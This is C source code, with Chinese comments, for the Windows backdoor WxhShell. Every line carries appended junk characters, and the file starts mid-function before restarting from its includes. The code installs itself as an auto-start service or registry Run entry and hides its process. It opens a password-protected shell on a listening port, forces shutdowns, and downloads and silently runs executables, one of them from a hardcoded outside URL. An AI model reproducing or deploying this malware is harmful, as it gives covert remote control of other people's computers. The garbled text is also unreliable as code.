    closesocket(wsh); 0="%Y ^N  
    ExitThread(0); Ol1e/Wv  
    } kV?y0J.  
    break; "nZ*{uv  
    } kz{/(t  
  // 关机 .9R [ *<  
  case 'd': { ^9^WuSq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nNrPHNfqD  
    if(Boot(SHUTDOWN)) I3 .x9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !O-T0O   
    else { &L#UGp $,  
    closesocket(wsh); N U|d  
    ExitThread(0); ki[UV zd  
    } #6ri-n  
    break; .}'qUPNR  
    } wm]^3q I2  
  // 获取shell }xBc0g r  
  case 's': { $P>`m$(8  
    CmdShell(wsh); }Mo=PWI1?  
    closesocket(wsh); S?RN?1  
    ExitThread(0); ]GN7+ 8l  
    break; 9&upu jVS  
  } ~ (x;5{  
  // 退出 n,=VQ Ou  
  case 'x': { W- i&sUgy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j*F`"df  
    CloseIt(wsh); cU ? 0(z7  
    break; f>aEkh6u9  
    } x 8Retuv  
  // 离开 0|2%vh>J  
  case 'q': { vN|l\!~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (:._"jp]  
    closesocket(wsh); 7nHF@Y|*"  
    WSACleanup(); Of{/t1o?  
    exit(1); +6UVn\9Q  
    break; b`)){LR  
        } #k_HN}B  
  } RRmLd/(  
  } hQ]H /+\  
]04 e1F1J  
  // 提示信息 BDVHol*g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I?"q/Ub~h  
} e_s&L,ze  
  } la( <8  
?"zY" *>4  
  return; '3TW [!m  
} =i_-F$pV  
}@Ge}9$ h  
// shell模块句柄 -:30:oq  
int CmdShell(SOCKET sock) b7!Qn}  
{ ]Tkc-ez  
STARTUPINFO si; BhM '@g*  
ZeroMemory(&si,sizeof(si)); 5m?8yT}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9so6WIWc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?shIj;c[  
PROCESS_INFORMATION ProcessInfo; B*4}GPQ  
char cmdline[]="cmd"; !PrwH;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wNQ*t-K  
  return 0; >=UF-xk;  
} xEf'Bmebk  
tj Gd )  
// 自身启动模式 9Xl`pEhC  
int StartFromService(void) ][W_[0v  
{ 0{dz5gUde  
typedef struct %Eb%V($  
{ _<a7CCg  
  DWORD ExitStatus; 9:`(Q3Ei  
  DWORD PebBaseAddress; D[_|*9BC  
  DWORD AffinityMask; BNd^qB ?  
  DWORD BasePriority; {?J/c{=/P  
  ULONG UniqueProcessId; OfctoPP _0  
  ULONG InheritedFromUniqueProcessId; Ps%qfL\  
}   PROCESS_BASIC_INFORMATION; ([-|}  
9cEv&3  
PROCNTQSIP NtQueryInformationProcess; aYuD>rD  
)RO<o O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UB 6mqjPK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cx}Q2S  
P( XaTU&-  
  HANDLE             hProcess; p98~&\QT  
  PROCESS_BASIC_INFORMATION pbi; *xON W  
:um|nRwy9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hoQs @[  
  if(NULL == hInst ) return 0; VH=S?_RY>  
u0#}9UKQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aX~%5 mF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L0&RvI#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y`o+XimX  
y`$Q \}fS  
  if (!NtQueryInformationProcess) return 0; ]d a^xWK  
1j:Wh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ={5#fgK>  
  if(!hProcess) return 0; F B?UZ  
'=1KVE^Fk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8F:e|\SB#  
/v/C<]  
  CloseHandle(hProcess); /[6j)HIS  
-S$1Yn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yv\#8I:qh  
if(hProcess==NULL) return 0; j'aHF#_  
Mz1G5xcl  
HMODULE hMod; "=6v&G]U4  
char procName[255]; -s|}Rh?Y  
unsigned long cbNeeded; K-f1{ 0  
UN%Vg:=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yuDZ~0]R  
'yV?*a  
  CloseHandle(hProcess);  ;b`[&g  
>0dv+8Mn  
if(strstr(procName,"services")) return 1; // 以服务启动 j:,NE(DF  
.[Ap=UYI>  
  return 0; // 注册表启动 m8 SA6Y\  
} ' j6gG  
hUD7_arKF  
// 主模块 vTaJqEE  
int StartWxhshell(LPSTR lpCmdLine) !^v5-xO?rP  
{ ~}!3G  
  SOCKET wsl; "H&"(=  
BOOL val=TRUE; "dROb}szn  
  int port=0; 6m VuyI  
  struct sockaddr_in door; w|CZ7|6  
quvanx V-L  
  if(wscfg.ws_autoins) Install(); /sr2mt-Q  
&AlJ "N|  
port=atoi(lpCmdLine); >@ YtDl8R  
52. >+GC  
if(port<=0) port=wscfg.ws_port; R-Z~V  
P i Fm|  
  WSADATA data; R|f~>JUF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :>aQ~1f>]  
y!5$/`AF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qfky_5R\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k ^ YO%_  
  door.sin_family = AF_INET; ^/5XZ} *  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N`E-+9L)  
  door.sin_port = htons(port); ->h6j  
, =aJVb=C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (ZL sB{r^  
closesocket(wsl); gORJWQv  
return 1; 8scc%t7  
} R/^u/~<  
pGSai &  
  if(listen(wsl,2) == INVALID_SOCKET) { gr-fXZO  
closesocket(wsl); sz @p_Z/  
return 1; t6BHGX{o  
} oQv3GpO  
  Wxhshell(wsl); pDQ}*   
  WSACleanup(); ,v&L:a  
jqH3J2L  
return 0; x+]!m/  
G&;j6<hl  
} /m( =`aRt  
[xh*"wT#g  
// 以NT服务方式启动 k<RZKwQc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0 a~HiIh  
{ BS&;n  
DWORD   status = 0; 6{ ,HiY  
  DWORD   specificError = 0xfffffff; }Z TGi,P c  
g~BoFc.V2~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P/JK$nb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pq:7F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0aoHKeP  
  serviceStatus.dwWin32ExitCode     = 0; -dv %H{  
  serviceStatus.dwServiceSpecificExitCode = 0; ;f,c't@w  
  serviceStatus.dwCheckPoint       = 0; V:/7f*n7  
  serviceStatus.dwWaitHint       = 0; 'xv8Gwf"  
bS >0DU   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +3i7D  
  if (hServiceStatusHandle==0) return; c9j*n;Q  
/H:I 68~  
status = GetLastError(); q!f1~aG  
  if (status!=NO_ERROR) XhdSFxW}  
{ :K?0e `  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GHF_R,7  
    serviceStatus.dwCheckPoint       = 0; @<M*qK1h  
    serviceStatus.dwWaitHint       = 0; 4f~["[*ea  
    serviceStatus.dwWin32ExitCode     = status; "4H8A =  
    serviceStatus.dwServiceSpecificExitCode = specificError; VR!-%H\AW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O+=vEp(  
    return; OzT#1T1'c  
  } =e><z9hY  
 q{die[J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0)Rw|(Fpo]  
  serviceStatus.dwCheckPoint       = 0; *?yJkJ"  
  serviceStatus.dwWaitHint       = 0; #'OaKt?Z)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +pH@oFNK  
} M}0eu(_|  
>x3ug]Bu  
// 处理NT服务事件,比如:启动、停止 VGw(6`|!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NZu)j["  
{ 0aR,H[r[?  
switch(fdwControl) Gjz[1d  
{ &V7>1kD3  
case SERVICE_CONTROL_STOP: Fv?=Z-wk  
  serviceStatus.dwWin32ExitCode = 0; U-0#0}_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,pK| SL  
  serviceStatus.dwCheckPoint   = 0; ;r=b|B9c  
  serviceStatus.dwWaitHint     = 0; FVF-:C  
  { rZ_>`}O2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -~)OF  
  } oKFT? "[X  
  return; lH|LdlX  
case SERVICE_CONTROL_PAUSE: 7:h!Wj -a]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +TeFt5[)h  
  break; ^TXfsQs  
case SERVICE_CONTROL_CONTINUE: '#O_}|ZN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5 waw`F  
  break; K#K\-TR|$  
case SERVICE_CONTROL_INTERROGATE: GR'Ti*Qi  
  break; %'L;FPxB  
}; (I{ $kB"p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^T4Ay=~{  
} oJ*1>7[J  
km:nE: |  
// 标准应用程序主函数 OySy6IN]q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v7trr W}  
{ iO!6}yJ*V  
i}TwOy<4s  
// 获取操作系统版本 $2z _{@Z  
OsIsNt=GetOsVer(); lm'Zy"~::  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K2'O]#  
icUT<@0  
  // 从命令行安装 KA]*ox6j;  
  if(strpbrk(lpCmdLine,"iI")) Install(); $%c{06Oq(  
1M%S gV-#  
  // 下载执行文件 U;xF#e  
if(wscfg.ws_downexe) { OCyG_DLT$5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O>DNC-m)i{  
  WinExec(wscfg.ws_filenam,SW_HIDE); i4Z4xTn  
} US?Rr  
Kf7WcJ4b  
if(!OsIsNt) { ]]iO- }  
// 如果时win9x,隐藏进程并且设置为注册表启动 s<T?pH  
HideProc(); >cOei K  
StartWxhshell(lpCmdLine); >`V}U*}*H  
} ?Z %:  
else |qjZ38;6  
  if(StartFromService()) 0=U70nKr  
  // 以服务方式启动 1]4^V7y  
  StartServiceCtrlDispatcher(DispatchTable); rjojG59U>  
else B0mLI%B  
  // 普通方式启动 6`nR5fh  
  StartWxhshell(lpCmdLine); CyM}Hc&w  
hol<dB  
return 0; ZykrQ\q9  
} {E,SHh   
Z>A{i?#m  
setL dEi  
#n})X,ip2  
=========================================== \SYvD y]  
k khE}qSD  
SN]LeXesS  
]EL\)xCr  
]W9B6G_  
;El <%{(  
" +g\;bLT  
6}&^=^-  
#include <stdio.h> CvTwBJy1  
#include <string.h> 2cnj@E:5l  
#include <windows.h> snMQ"ju  
#include <winsock2.h> O*7i } \{  
#include <winsvc.h> IcoowZZ   
#include <urlmon.h> Q-('5a19J  
@FX{M..  
#pragma comment (lib, "Ws2_32.lib") YF[$Q=7.  
#pragma comment (lib, "urlmon.lib") L$JI43HZ  
r,'O ).7  
#define MAX_USER   100 // 最大客户端连接数 oX|?:MS:  
#define BUF_SOCK   200 // sock buffer ePA;:8)_j  
#define KEY_BUFF   255 // 输入 buffer !t-K<'  
 5H.Db  
#define REBOOT     0   // 重启 9)ea.Gu  
#define SHUTDOWN   1   // 关机 b(T@~P/  
L+R >%d s  
#define DEF_PORT   5000 // 监听端口 x;U|3{I o  
( pD7  
#define REG_LEN     16   // 注册表键长度 ,f<B}O  
#define SVC_LEN     80   // NT服务名长度 ,ep9V ,+|  
zD_H yGf  
// 从dll定义API qX@9N=g`#O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |\{Nfm=:%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xwLy|&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5P\N"Yjx'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ar`\ N1a  
#: hVF/  
// wxhshell配置信息 8A/>JD3^  
struct WSCFG { 0M\NS$u(Y  
  int ws_port;         // 监听端口 ,>S+-L8  
  char ws_passstr[REG_LEN]; // 口令 Xiju"Cup"  
  int ws_autoins;       // 安装标记, 1=yes 0=no d Uz<1^L  
  char ws_regname[REG_LEN]; // 注册表键名  coAW9=o}  
  char ws_svcname[REG_LEN]; // 服务名 _80ns&q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ewQe/Fq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3U o]> BG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {Q<0\`A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0x#E4v (UA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4?]ZV_BD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =h[yA f  
F(0Z ]#+  
}; ~,Mr0  
/s8/q2:  
// default Wxhshell configuration @ RX`>r{_  
struct WSCFG wscfg={DEF_PORT, J!<#Nc  
    "xuhuanlingzhe", ^BNp`x;;`  
    1, tQf!|]#J  
    "Wxhshell", w`-$-4i  
    "Wxhshell", @#CF".fuN>  
            "WxhShell Service", D"`[6EN[  
    "Wrsky Windows CmdShell Service", qOgtGN}k  
    "Please Input Your Password: ", EqQ3=XMUL@  
  1, w>vmF cp  
  "http://www.wrsky.com/wxhshell.exe", xH@'H?  
  "Wxhshell.exe" #nbn K  
    };  Q>[Ce3  
/x O{ .dr  
// 消息定义模块 '2xcce#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4JSZ0:O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /Mx.:.A&$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6d};|#}  
char *msg_ws_ext="\n\rExit."; sSy$(%  
char *msg_ws_end="\n\rQuit."; j`hNZ%a  
char *msg_ws_boot="\n\rReboot..."; Z !Z,M' "  
char *msg_ws_poff="\n\rShutdown..."; r hZQQOQ  
char *msg_ws_down="\n\rSave to "; N+hedF@ZU  
 )Oo2<:"  
char *msg_ws_err="\n\rErr!"; 'DeW<Sa~  
char *msg_ws_ok="\n\rOK!"; WN1Jm:5YV  
|yU3Kt  
char ExeFile[MAX_PATH]; ysl8LK   
int nUser = 0; k_BSY=$e*D  
HANDLE handles[MAX_USER]; o[n<M> @  
int OsIsNt; p&QmIX]BZ  
$)l2G;&  
SERVICE_STATUS       serviceStatus; |[DV\23{G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L1rA T  
InP[yFV-z  
// 函数声明 %B0w~[!4}  
int Install(void); yW{mK  
int Uninstall(void); C~{xL>I  
int DownloadFile(char *sURL, SOCKET wsh); G~`'E&/  
int Boot(int flag); ` %l&zwj>  
void HideProc(void); A3<^ U  
int GetOsVer(void); gh'kUZG a  
int Wxhshell(SOCKET wsl); (;C$gnr.C  
void TalkWithClient(void *cs); 98h :X%  
int CmdShell(SOCKET sock); &+,:u*%  
int StartFromService(void); :wSJ-\'$  
int StartWxhshell(LPSTR lpCmdLine); {[my"n 2  
IL2e6b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XNKtL]U}$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tI"wVr  
G 2!}R  
// 数据结构和表定义 avmcGyL  
SERVICE_TABLE_ENTRY DispatchTable[] = 4v0dd p  
{ Tw}@+-  
{wscfg.ws_svcname, NTServiceMain}, u"*J[M~  
{NULL, NULL} 3,%nkW  
}; %Fs*#S  
f 5mY;z"  
// 自我安装 eSJAPU(D  
int Install(void) SgyqmYTvZw  
{ -|6V}wHg~  
  char svExeFile[MAX_PATH]; K<RmaXZ  
  HKEY key; H U:1f)a a  
  strcpy(svExeFile,ExeFile); 2;3x,<Cg  
G% o7BX  
// 如果是win9x系统,修改注册表设为自启动 ;_>s0rUV  
if(!OsIsNt) { _'H2>V_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TlM'g6SQS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gkSGRshf  
  RegCloseKey(key); 9)#gtDM%J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^xzE^"G6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @gs26jX~2}  
  RegCloseKey(key); <GSQ2bX[  
  return 0; Lr K9F^c  
    } yBr$ 0$  
  } GTT5<diw  
} =%Q\*xaR.W  
else { l0eANB%Y=@  
~l;yr @  
// 如果是NT以上系统,安装为系统服务 qJ#L)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H?rSP0.  
if (schSCManager!=0) eUX@9eML  
{ e_YW~z=6t  
  SC_HANDLE schService = CreateService s 4MNVT  
  ( ;+S2h-4  
  schSCManager, $ijx#a&O  
  wscfg.ws_svcname, (k7;  
  wscfg.ws_svcdisp, Q,[rrG;?@  
  SERVICE_ALL_ACCESS, d,Hf-zJ%~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zyIza@V(  
  SERVICE_AUTO_START, XMjI}SPG  
  SERVICE_ERROR_NORMAL, SS >:Sw  
  svExeFile, \DG( 8l  
  NULL, 0L3Bo3:k  
  NULL, n,C D4Nv  
  NULL, m~Lf^gbG?  
  NULL, ^G ]KE8  
  NULL 4v rm&k  
  ); $M:4\E5(  
  if (schService!=0) zv$=*  
  { HV]~=Bw2I  
  CloseServiceHandle(schService); @t{{Q1  
  CloseServiceHandle(schSCManager); 'US:Mr3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `XQx$I  
  strcat(svExeFile,wscfg.ws_svcname); \#h})`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GE/IaLo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yb@X*PW/z  
  RegCloseKey(key); ~$ cm9>  
  return 0; >=Rd3dgDG  
    } 842Mydom  
  } T>AI0R3  
  CloseServiceHandle(schSCManager); IqR[&T)lj  
} &F@tmM~  
} <MI$N l  
+lY\r +;  
return 1; %8bFQNd  
} g4BwKENM  
7LyV`6{70  
// 自我卸载 JCCx 5  
int Uninstall(void) 'ugR!o1  
{ f_z2#,g  
  HKEY key; MSxU>FX0  
QjW~6Z.tI  
if(!OsIsNt) { ijR-?nrR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )[^:]}%r  
  RegDeleteValue(key,wscfg.ws_regname); f4@#pnJ3po  
  RegCloseKey(key); <uWJ>sg^ 6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AOvH&9**  
  RegDeleteValue(key,wscfg.ws_regname); }[hDg6i  
  RegCloseKey(key); /_ hfjCE  
  return 0; +ik N) D  
  } qB` 0^V  
} \k$]GK-  
} ]9~#;M%1  
else { B<|q{D$N/  
f6/\JVi)-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rsq'60  
if (schSCManager!=0) 52q!zx E  
{ 2yVGE p^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Bt`r6v;\  
  if (schService!=0) ;r2b@x:<_  
  { ej??j<]  
  if(DeleteService(schService)!=0) { N|^!"/  
  CloseServiceHandle(schService); 4^jZv$l5  
  CloseServiceHandle(schSCManager); c+\Gd}IJq  
  return 0; =^".{h'-  
  } ,M9hb<:m  
  CloseServiceHandle(schService); B=nx8s  
  } })yb   
  CloseServiceHandle(schSCManager); 'KN!m| z  
} u0$5Fd&X  
} N]<~NG:6b  
`(w kqa  
return 1; `b,g2XA  
} 07HX5 Hd  
p_kTLNZd9  
// 从指定url下载文件 $(<*pU  
int DownloadFile(char *sURL, SOCKET wsh) 5D q{"@E  
{ m<VL19o>R  
  HRESULT hr; s\K-(`j}  
char seps[]= "/"; RAXJsF^5o  
char *token; 'rcsK  
char *file; :fMM-?s]  
char myURL[MAX_PATH]; gs2&0rnOy\  
char myFILE[MAX_PATH]; BRQ5  
9"l%tq_  
strcpy(myURL,sURL); n*]x02:LjZ  
  token=strtok(myURL,seps); i~M.F=I5  
  while(token!=NULL) wE=8jl*  
  { rH9|JEz  
    file=token; # xE>]U  
  token=strtok(NULL,seps); =F; ^^VX  
  } PeR<FSF ,i  
]`+"o[  
GetCurrentDirectory(MAX_PATH,myFILE); 8B(Q7Qj  
strcat(myFILE, "\\"); A UO0  
strcat(myFILE, file); {~ vPq  
  send(wsh,myFILE,strlen(myFILE),0); >?Y3WPB<F  
send(wsh,"...",3,0); @x\gk5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .~/;v~bL  
  if(hr==S_OK) P|QnZ){  
return 0; RI].LB_  
else 8CHf.SXh  
return 1; JZ*?1S>  
p RfHbPV?  
} (5\d[||9g  
?_`P;}4#  
// 系统电源模块 n$VPh/  
int Boot(int flag) MZ#2WP)F  
{ a>e 1jM[  
  HANDLE hToken; @;-Un/'C;7  
  TOKEN_PRIVILEGES tkp; Lzb [%?  
E?W!.hbA  
  if(OsIsNt) { oI"Fpo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); REe%>|   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5L'@WB|{4u  
    tkp.PrivilegeCount = 1; l=G#gKE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F_ lj>;}a5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e2H'uMy;&  
if(flag==REBOOT) { nT6iS}h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j-\^ }K.&  
  return 0; oA^ ]x>  
} eFI9S.6  
else { c;fyUi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m_W.r+s~C4  
  return 0; 2H0q\zZ  
} mCP +7q7  
  } 9U%}"uE  
  else { j;c ^pLUP  
if(flag==REBOOT) { Q? |MBTo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5s2}nIe  
  return 0; .ceU @^  
} dtXJ<1:  
else { <i @jD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <\Dl#DH  
  return 0; }Z%{QJ$z  
} &_TjRj"  
} mr\L q~*c  
g0 U\AN  
return 1; {@`Uf;hPAX  
} I>\?t4t  
&dMSX}t  
// win9x进程隐藏模块 n/|`Dz.  
void HideProc(void) `SpS?mWA  
{ 3^Q U4  
I ywx1ac  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S~`AnX3!  
  if ( hKernel != NULL ) omU)hFvyS  
  { X Ow^"=Oa[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); im%3*bv-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `Y$5g~3.  
    FreeLibrary(hKernel); "uNxKLDB  
  } W- B[_  
|I<-x)joIK  
return; \?I wR]@y  
} WM7/|.HQ  
tA n6pGp  
// 获取操作系统版本 s:.XF|e{  
int GetOsVer(void) YR`rg;n#  
{ lBC-G*#  
  OSVERSIONINFO winfo; {Z;GNMO:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h2*&>Mc  
  GetVersionEx(&winfo); u 9Tl Xn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `)P_X4e]`  
  return 1; fN>|X\-  
  else )xs,  
  return 0; s&hP^tKT  
} {iteC  
[Y~s  
// 客户端句柄模块 ~n\ea:.  
int Wxhshell(SOCKET wsl) n#,l&Bx  
{ |a\TUzq  
  SOCKET wsh; X Y?@^  
  struct sockaddr_in client; Q*(C)/QW  
  DWORD myID; &g {_.n,  
1#u w^{n  
  while(nUser<MAX_USER) Ez-o*&  
{ e4LNnJU\|  
  int nSize=sizeof(client); `v er "s;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8hA=$}y&x  
  if(wsh==INVALID_SOCKET) return 1; AXI:h"so  
"xI[4~'`:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (`xnA~BN  
if(handles[nUser]==0) tYa*%|!v  
  closesocket(wsh); "|rqt.f2[  
else g>CQO,s;w  
  nUser++; M] *pBc(o0  
  } U0T N8O}Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }aIf IJ  
,:{+ H  
  return 0; z$b!J$A1  
} gV;GC{pY  
DVH><3FF  
// 关闭 socket )P])0Y-  
void CloseIt(SOCKET wsh) JH#?}L/0Fe  
{ Y6a|\K|  
closesocket(wsh); z`SkKn0f Y  
nUser--; W@=ilW3RD  
ExitThread(0); * vD<6qf  
} 7 >(ygu  
RdHR[Usm  
// 客户端请求句柄 T(DE^E@a  
void TalkWithClient(void *cs) D$;/ l}s?  
{ _{%H*PxTn=  
,,gYU_V  
  SOCKET wsh=(SOCKET)cs; 8EA?'~"  
  char pwd[SVC_LEN]; N 5DS-gv  
  char cmd[KEY_BUFF]; NBX/V^  
char chr[1]; nc)`ISI  
int i,j; |zKcL3*  
0b 'R5I.M  
  while (nUser < MAX_USER) { a$m?if=  
Q{60^vg  
if(wscfg.ws_passstr) { Z%R^;8!~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +l(}5(wc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `<q5RuU  
  //ZeroMemory(pwd,KEY_BUFF); yk/XfwQ5  
      i=0; ^da-R;o]  
  while(i<SVC_LEN) { [qB=OxH?  
v#xF;@G  
  // 设置超时 /_\4( vvf  
  fd_set FdRead; g:yK/1@Hk}  
  struct timeval TimeOut; _NFJm(X.  
  FD_ZERO(&FdRead); 0P42C{>'w  
  FD_SET(wsh,&FdRead); sTDBK!9I  
  TimeOut.tv_sec=8; >B0S5:S$W  
  TimeOut.tv_usec=0; mf#oa~_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _1ins;c52  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b%(0AL  
tN~{Mt$-W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Alz#zBGb  
  pwd=chr[0]; S5JnJkNn  
  if(chr[0]==0xd || chr[0]==0xa) { %~~QXH\  
  pwd=0; EZ4qhda  
  break; }O/Nn0,  
  } `m5iZxhw  
  i++; \]K-<&f  
    } 43Q&<r$[T  
|@RO&F  
  // 如果是非法用户,关闭 socket bHCd|4e,2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DWAU8>c+  
} 6x0>E^~  
myXV~6R 3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ; OsN^   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i!NGX  
~$`b{  
while(1) { kcle|B  
aozk,{9-  
  ZeroMemory(cmd,KEY_BUFF); m<E7cY3mX  
WKG=d]5  
      // 自动支持客户端 telnet标准   ,3wo  
  j=0; {RK#W~h  
  while(j<KEY_BUFF) { GCrN:+E0FJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;(V=disU/  
  cmd[j]=chr[0]; QO8/?^d  
  if(chr[0]==0xa || chr[0]==0xd) { rO NLbrj  
  cmd[j]=0; U+KbvkX wj  
  break; M`(xAVl  
  } =c|Bu^(Ctw  
  j++; UJb7v:^  
    } qcK)J/K"  
IAfYlS#<yD  
  // 下载文件 ;BqX=X+#  
  if(strstr(cmd,"http://")) { 1||e !W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KksbhN{AB  
